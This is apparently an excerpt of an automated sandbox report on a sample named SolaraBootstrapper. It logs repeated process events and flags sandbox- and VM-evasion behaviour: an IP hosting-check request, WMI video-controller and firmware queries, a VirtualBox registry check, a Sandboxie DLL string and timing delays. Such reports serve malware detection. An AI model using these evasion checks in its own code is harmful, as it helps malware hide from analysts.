Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files\Uninstall Information\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Bootstrapper.exe, Bootstrapper.exe, 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, fontreview.exe, 0000000A.00000002.1438813876.000000000269B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.1539162288.00000000026DC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Memory allocated: A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Memory allocated: 1A680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Memory allocated: CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Memory allocated: 2750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Memory allocated: 4750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Media\fontreview.exe	Memory allocated: 9E0000 memory reserve \| memory write watch
Source: C:\Media\fontreview.exe	Memory allocated: 1A560000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Memory allocated: 1780000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Memory allocated: 1B240000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Memory allocated: 11E0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Memory allocated: 1AB20000 memory reserve \| memory write watch
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Memory allocated: 660000 memory reserve \| memory write watch
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Memory allocated: 1A350000 memory reserve \| memory write watch
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Memory allocated: 1590000 memory reserve \| memory write watch
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Memory allocated: 1AFE0000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 2D00000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 1AD00000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: B60000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 1A7A0000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 9A0000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 1A5A0000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 2FA0000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 1AFA0000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 9E0000 memory reserve \| memory write watch
Source: C:\Program Files\Uninstall Information\smss.exe	Memory allocated: 1A4A0000 memory reserve \| memory write watch
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Memory allocated: F70000 memory reserve \| memory write watch
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Memory allocated: 1AB00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Memory allocated: 1F1F71E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Memory allocated: 1F1F8CF0000 memory reserve \| memory write watch

Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe

Code function: 38_2_00007FFB4B261A89 rdtsc

38_2_00007FFB4B261A89

Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599327	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599097	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598824	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598704	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598582	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598113	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597990	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597540	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597416	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597176	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597058	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596794	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596675	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596557	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596428	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596287	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595962	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595811	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594897	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594574	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594439	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594267	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594141	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594028	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593891	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593732	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593578	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593437	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593294	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593156	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592968	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592797	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592656	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592525	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592389	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592260	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592123	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592000	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591812	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591578	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591406	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591227	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591084	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590936	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590822	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590609	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590437	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590286	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590123	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589973	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589850	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589703	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589568	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589442	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589187	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589056	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588906	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588749	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588638	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588531	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588419	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588311	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588187	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588029	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587922	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587797	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587679	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587546	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587430	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587322	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587212	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587106	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586997	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586875	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586720	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586594	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586484	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586365	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586203	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586058	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585948	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585812	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585672	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585558	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585435	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585309	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585198	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585078	Jump to behavior
Source: C:\Media\fontreview.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Uninstall Information\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Uninstall Information\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Uninstall Information\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Uninstall Information\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 597235
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 596219
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 300000

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\ProgramData\SolaraBootstrapper.exe	Window / User API: threadDelayed 5679	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Window / User API: threadDelayed 3607	Jump to behavior
Source: C:\Media\fontreview.exe	Window / User API: threadDelayed 1152
Source: C:\Media\fontreview.exe	Window / User API: threadDelayed 723
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3304
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2471
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4060
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2323
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1902
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2547
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Window / User API: threadDelayed 365
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Window / User API: threadDelayed 363
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Window / User API: threadDelayed 363
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Window / User API: threadDelayed 363
Source: C:\Program Files\Uninstall Information\smss.exe	Window / User API: threadDelayed 366
Source: C:\Program Files\Uninstall Information\smss.exe	Window / User API: threadDelayed 365
Source: C:\Program Files\Uninstall Information\smss.exe	Window / User API: threadDelayed 524
Source: C:\Program Files\Uninstall Information\smss.exe	Window / User API: threadDelayed 561
Source: C:\Program Files\Uninstall Information\smss.exe	Window / User API: threadDelayed 366
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Window / User API: threadDelayed 365
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Window / User API: threadDelayed 2925
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Window / User API: threadDelayed 773

